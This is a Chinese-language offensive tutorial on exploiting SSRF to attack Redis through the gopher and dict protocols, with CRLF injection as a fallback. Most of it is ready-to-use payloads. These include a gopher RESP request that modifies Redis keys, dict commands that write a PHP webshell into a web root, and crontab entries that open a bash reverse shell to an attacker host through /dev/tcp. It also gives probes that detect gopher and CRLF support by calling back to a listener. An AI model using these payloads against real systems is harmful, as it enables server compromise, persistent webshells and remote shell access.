ssrf深入利用,打redis,不僅僅是打redis,還可以做很多事情,用redis拋磚引玉
打redis重要的兩個協議:
(1)gopher協議
(2)dict協議
用http(s)判斷出網:
如果出網,直接gopher://vps:port/,nc監聽即可
機器不出網如何判斷支持gopher協議:
利用gopher發起get/post請求存在/不存在域名,通過延遲時間探測:
提供一種思路:
(1)get請求:
1.gopher://ip/_GET%20/%3fa=Hi%20HTTP/1.1%0d%0aHost:%20114.114.114.114%0d%0aConnection:%20close%0d%0a
如果1沒延遲,說明大概率不支持gopher,如果產生巨大延遲,說明大概率支持gopher
打redis實施手法是怎樣的?:
抓取所有tcp 6379端口流量:
sudo tcpdump -i any tcp port 6379 -w test.pcap
redis下執行一些操作:set/get:
此時pcap包里面已經有數據了,使用wireshark打開pcap包:
查看數據包如下:
已知redis的key name為444:
修改key name為555:
curl 'gopher://1.1.1.1:6379/_*3%0d%0a%243%0d%0aset%0d%0a%244%0d%0aname%0d%0a%243%0d%0a555'
查看key name:
通過gopher,我們修改了key的值
為什么可以這樣傳遞數據修改?因為redis支持resp協議:
(2)dict協議:
dict協議不支持換行符,所以不能像gopher一樣一次性攻擊,只能一行行輸入:
有絕對路徑,寫文件:
flushall +OK config set dir /home/wwwroot/default/wordpress +OK config set dbfilename shell.php +OK set webshell "<?php phpinfo();?>" +OK save +OK
計划任務反彈:
curl 'dict://1.1.1.1:6379/set:mars:"\n\n* * * * * root bash -i >& /dev/tcp/vps ip/9999 0>&1\n\n"' curl 'dict://1.1.1.1:6379/config:set:dir:/etc/' curl 'dict://1.1.1.1:6379/config:set:dbfilename:crontab' curl 'dict://1.1.1.1.119:6379/bgsave or save'
完全禁用gopher/dict協議還可以打redis嗎?
可以,如果支持http協議的ssrf漏洞,同時還存在crlf漏洞,那么可以利用crlf+http打redis:
header CRLF
可參考weblogic ssrf漏洞打redis:
test set 1 "\n\n\n\n* * * * * root bash -i >& /dev/tcp/公網ip/監聽端口 0>&1\n\n\n\n" config set dir /etc/ config set dbfilename crontab save aaa
參考:https://xz.aliyun.com/t/7333
實戰思路參考:
https://www.mi1k7ea.com/2021/04/06/淺析WebLogic-SSRF(CVE-2014-4210)/
https://www.cnblogs.com/-chenxs/p/11749367.html
weblogic ssrf詳細分析:https://blog.csdn.net/simonnews/article/details/106064129
補充更新:如何判斷ssrf是否有crlf漏洞?
http://119.45.227.86:123%0d%0a
如果nc監聽到信息,說明支持%0d%0a
換一個不支持crlf的ssrf:
沒反應,所以不支持
方法2:%0d%0ahttp://119.45.227.86:123
如果不存在crlf漏洞: